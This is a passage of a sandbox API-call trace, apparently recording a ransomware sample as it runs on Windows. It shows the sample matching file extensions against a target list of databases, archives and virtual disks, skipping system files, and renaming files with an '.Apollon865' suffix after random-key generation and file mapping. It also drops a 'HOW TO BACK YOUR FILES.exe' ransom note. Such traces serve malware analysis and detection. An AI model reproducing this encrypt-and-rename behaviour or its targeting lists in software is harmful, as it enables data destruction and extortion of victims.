	[0078.276] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0078.276] lstrlenW (lpString="vmdk") returned 4
	[0078.276] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0078.276] lstrlenW (lpString="rar") returned 3
	[0078.276] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0078.276] lstrlenW (lpString="zip") returned 3
	[0078.276] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0078.276] lstrlenW (lpString="tgz") returned 3
	[0078.276] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0078.276] lstrlenW (lpString="vbox") returned 4
	[0078.276] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0078.276] lstrlenW (lpString="vdi") returned 3
	[0078.276] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0078.276] lstrlenW (lpString="vhd") returned 3
	[0078.276] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0078.276] lstrlenW (lpString="vhdx") returned 4
	[0078.276] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0078.276] lstrlenW (lpString="avhd") returned 4
	[0078.276] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0078.276] lstrlenW (lpString="db") returned 2
	[0078.276] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0078.276] lstrlenW (lpString="db2") returned 3
	[0078.276] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0078.276] lstrlenW (lpString="db3") returned 3
	[0078.276] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0078.276] lstrlenW (lpString="dbf") returned 3
	[0078.276] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0078.276] lstrlenW (lpString="mdf") returned 3
	[0078.277] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0078.277] lstrlenW (lpString="mdb") returned 3
	[0078.277] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0078.277] lstrlenW (lpString="sql") returned 3
	[0078.277] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0078.277] lstrlenW (lpString="sqlite") returned 6
	[0078.277] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1
	[0078.277] lstrlenW (lpString="sqlite3") returned 7
	[0078.277] lstrcmpiW (lpString1="jLR.cab", lpString2="sqlite3") returned -1
	[0078.277] lstrlenW (lpString="sqlitedb") returned 8
	[0078.277] lstrcmpiW (lpString1="ojLR.cab", lpString2="sqlitedb") returned -1
	[0078.277] lstrlenW (lpString="xml") returned 3
	[0078.277] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0078.277] lstrlenW (lpString="$er") returned 3
	[0078.277] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0078.277] lstrlenW (lpString="4dd") returned 3
	[0078.277] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0078.277] lstrlenW (lpString="4dl") returned 3
	[0078.277] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0078.277] lstrlenW (lpString="^^^") returned 3
	[0078.277] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0078.277] lstrlenW (lpString="abs") returned 3
	[0078.277] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0078.277] lstrlenW (lpString="abx") returned 3
	[0078.277] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0078.277] lstrlenW (lpString="accdb") returned 5
	[0078.277] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1
	[0078.277] lstrlenW (lpString="accdc") returned 5
	[0078.277] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1
	[0078.277] lstrlenW (lpString="accde") returned 5
	[0078.277] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1
	[0078.277] lstrlenW (lpString="accdr") returned 5
	[0078.277] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1
	[0078.277] lstrlenW (lpString="accdt") returned 5
	[0078.277] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1
	[0078.277] lstrlenW (lpString="accdw") returned 5
	[0078.277] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1
	[0078.278] lstrlenW (lpString="accft") returned 5
	[0078.278] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1
	[0078.278] lstrlenW (lpString="adb") returned 3
	[0078.278] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.278] lstrlenW (lpString="adb") returned 3
	[0078.278] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.278] lstrlenW (lpString="ade") returned 3
	[0078.278] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0078.278] lstrlenW (lpString="adf") returned 3
	[0078.278] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0078.278] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0078.278] lstrlenW (lpString="Setup.xml") returned 9
	[0078.278] lstrlenW (lpString="Apollon865") returned 10
	[0078.278] lstrlenW (lpString=".dll") returned 4
	[0078.278] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0078.278] lstrlenW (lpString=".lnk") returned 4
	[0078.278] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0078.278] lstrlenW (lpString=".ini") returned 4
	[0078.278] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0078.278] lstrlenW (lpString=".sys") returned 4
	[0078.278] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0078.278] lstrlenW (lpString="Setup.xml") returned 9
	[0078.278] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0078.279] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.279] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.279] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1872) returned 1
	[0078.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.280] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.280] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfbc8
	[0078.280] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfc50) returned 1
	[0078.280] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.280] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0078.281] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa50, lpName=0x0) returned 0xd8
	[0078.290] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa50) returned 0x100000
	[0078.291] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfc50) returned 1
	[0078.291] CryptGenRandom (in: hProv=0x5bfc50, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.291] CryptReleaseContext (hProv=0x5bfc50, dwFlags=0x0) returned 1
	[0078.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.292] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.292] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.292] CloseHandle (hObject=0xd8) returned 1
	[0078.292] CloseHandle (hObject=0x15c) returned 1
	[0078.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfbc8 | out: hHeap=0x580000) returned 1
	[0078.292] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0078.292] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0078.293] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0078.293] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b70
	[0078.293] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C"
	[0078.293] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfab8 | out: hHeap=0x580000) returned 1
	[0078.293] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0078.293] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C") returned 62
	[0078.293] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C"
	[0078.293] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.293] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0078.306] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.306] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46bf0910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46bf0910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0078.306] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.306] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.306] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.306] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46bf0910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46bf0910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.306] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.306] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.306] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.306] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.307] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46bf0910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x46bf0910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.307] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.307] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="Apollon865.txt.exe") returned 1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2=".") returned 1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="..") returned 1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="windows") returned -1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="bootmgr") returned 1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="temp") returned -1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="pagefile.sys") returned -1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="boot") returned 1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="ids.txt") returned 1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="ntuser.dat") returned 1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="perflogs") returned -1
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="MSBuild") returned 1
	[0078.307] lstrlenW (lpString="OneNoteMUI.msi") returned 14
	[0078.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0078.307] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="OneNoteMUI.msi" | out: lpString1="OneNoteMUI.msi") returned="OneNoteMUI.msi"
	[0078.307] lstrlenW (lpString="OneNoteMUI.msi") returned 14
	[0078.307] lstrlenW (lpString="Apollon865") returned 10
	[0078.307] lstrcmpiW (lpString1="oteMUI.msi", lpString2="Apollon865") returned 1
	[0078.307] lstrlenW (lpString=".dll") returned 4
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2=".dll") returned 1
	[0078.307] lstrlenW (lpString=".lnk") returned 4
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2=".lnk") returned 1
	[0078.307] lstrlenW (lpString=".ini") returned 4
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2=".ini") returned 1
	[0078.307] lstrlenW (lpString=".sys") returned 4
	[0078.307] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2=".sys") returned 1
	[0078.307] lstrlenW (lpString="OneNoteMUI.msi") returned 14
	[0078.307] lstrlenW (lpString="bak") returned 3
	[0078.307] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0078.307] lstrlenW (lpString="ba_") returned 3
	[0078.307] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0078.307] lstrlenW (lpString="dbb") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0078.308] lstrlenW (lpString="vmdk") returned 4
	[0078.308] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0078.308] lstrlenW (lpString="rar") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0078.308] lstrlenW (lpString="zip") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0078.308] lstrlenW (lpString="tgz") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0078.308] lstrlenW (lpString="vbox") returned 4
	[0078.308] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0078.308] lstrlenW (lpString="vdi") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0078.308] lstrlenW (lpString="vhd") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0078.308] lstrlenW (lpString="vhdx") returned 4
	[0078.308] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0078.308] lstrlenW (lpString="avhd") returned 4
	[0078.308] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0078.308] lstrlenW (lpString="db") returned 2
	[0078.308] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0078.308] lstrlenW (lpString="db2") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0078.308] lstrlenW (lpString="db3") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0078.308] lstrlenW (lpString="dbf") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0078.308] lstrlenW (lpString="mdf") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0078.308] lstrlenW (lpString="mdb") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0078.308] lstrlenW (lpString="sql") returned 3
	[0078.308] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0078.308] lstrlenW (lpString="sqlite") returned 6
	[0078.308] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1
	[0078.308] lstrlenW (lpString="sqlite3") returned 7
	[0078.308] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1
	[0078.309] lstrlenW (lpString="sqlitedb") returned 8
	[0078.309] lstrcmpiW (lpString1="eMUI.msi", lpString2="sqlitedb") returned -1
	[0078.309] lstrlenW (lpString="xml") returned 3
	[0078.309] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0078.309] lstrlenW (lpString="$er") returned 3
	[0078.309] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0078.309] lstrlenW (lpString="4dd") returned 3
	[0078.309] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0078.309] lstrlenW (lpString="4dl") returned 3
	[0078.309] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0078.309] lstrlenW (lpString="^^^") returned 3
	[0078.309] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0078.309] lstrlenW (lpString="abs") returned 3
	[0078.309] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0078.309] lstrlenW (lpString="abx") returned 3
	[0078.309] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0078.309] lstrlenW (lpString="accdb") returned 5
	[0078.309] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1
	[0078.309] lstrlenW (lpString="accdc") returned 5
	[0078.309] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1
	[0078.309] lstrlenW (lpString="accde") returned 5
	[0078.309] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1
	[0078.309] lstrlenW (lpString="accdr") returned 5
	[0078.309] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1
	[0078.309] lstrlenW (lpString="accdt") returned 5
	[0078.309] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1
	[0078.309] lstrlenW (lpString="accdw") returned 5
	[0078.309] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1
	[0078.309] lstrlenW (lpString="accft") returned 5
	[0078.309] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1
	[0078.309] lstrlenW (lpString="adb") returned 3
	[0078.309] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.309] lstrlenW (lpString="adb") returned 3
	[0078.309] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.309] lstrlenW (lpString="ade") returned 3
	[0078.309] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0078.309] lstrlenW (lpString="adf") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0078.310] lstrlenW (lpString="adn") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0078.310] lstrlenW (lpString="adp") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0078.310] lstrlenW (lpString="alf") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0078.310] lstrlenW (lpString="ask") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0078.310] lstrlenW (lpString="btr") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0078.310] lstrlenW (lpString="cat") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0078.310] lstrlenW (lpString="cdb") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0078.310] lstrlenW (lpString="ckp") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0078.310] lstrlenW (lpString="cma") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0078.310] lstrlenW (lpString="cpd") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0078.310] lstrlenW (lpString="dacpac") returned 6
	[0078.310] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1
	[0078.310] lstrlenW (lpString="dad") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0078.310] lstrlenW (lpString="dadiagrams") returned 10
	[0078.310] lstrcmpiW (lpString1="oteMUI.msi", lpString2="dadiagrams") returned 1
	[0078.310] lstrlenW (lpString="daschema") returned 8
	[0078.310] lstrcmpiW (lpString1="eMUI.msi", lpString2="daschema") returned 1
	[0078.310] lstrlenW (lpString="db-journal") returned 10
	[0078.310] lstrcmpiW (lpString1="oteMUI.msi", lpString2="db-journal") returned 1
	[0078.310] lstrlenW (lpString="db-shm") returned 6
	[0078.310] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1
	[0078.310] lstrlenW (lpString="db-wal") returned 6
	[0078.310] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1
	[0078.310] lstrlenW (lpString="dbc") returned 3
	[0078.310] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0078.311] lstrlenW (lpString="dbs") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0078.311] lstrlenW (lpString="dbt") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0078.311] lstrlenW (lpString="dbv") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0078.311] lstrlenW (lpString="dbx") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0078.311] lstrlenW (lpString="dcb") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0078.311] lstrlenW (lpString="dct") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0078.311] lstrlenW (lpString="dcx") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0078.311] lstrlenW (lpString="ddl") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0078.311] lstrlenW (lpString="dlis") returned 4
	[0078.311] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0078.311] lstrlenW (lpString="dp1") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0078.311] lstrlenW (lpString="dqy") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0078.311] lstrlenW (lpString="dsk") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0078.311] lstrlenW (lpString="dsn") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0078.311] lstrlenW (lpString="dtsx") returned 4
	[0078.311] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0078.311] lstrlenW (lpString="dxl") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0078.311] lstrlenW (lpString="eco") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0078.311] lstrlenW (lpString="ecx") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0078.311] lstrlenW (lpString="edb") returned 3
	[0078.311] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0078.311] lstrlenW (lpString="epim") returned 4
	[0078.311] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0078.312] lstrlenW (lpString="fcd") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0078.312] lstrlenW (lpString="fdb") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0078.312] lstrlenW (lpString="fic") returned 3
	[0078.312] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0078.312] lstrlenW (lpString="flexolibrary") returned 12
	[0078.312] lstrcmpiW (lpString1="eNoteMUI.msi", lpString2="flexolibrary") returned -1
	[0078.312] lstrlenW (lpString="fm5") returned 3
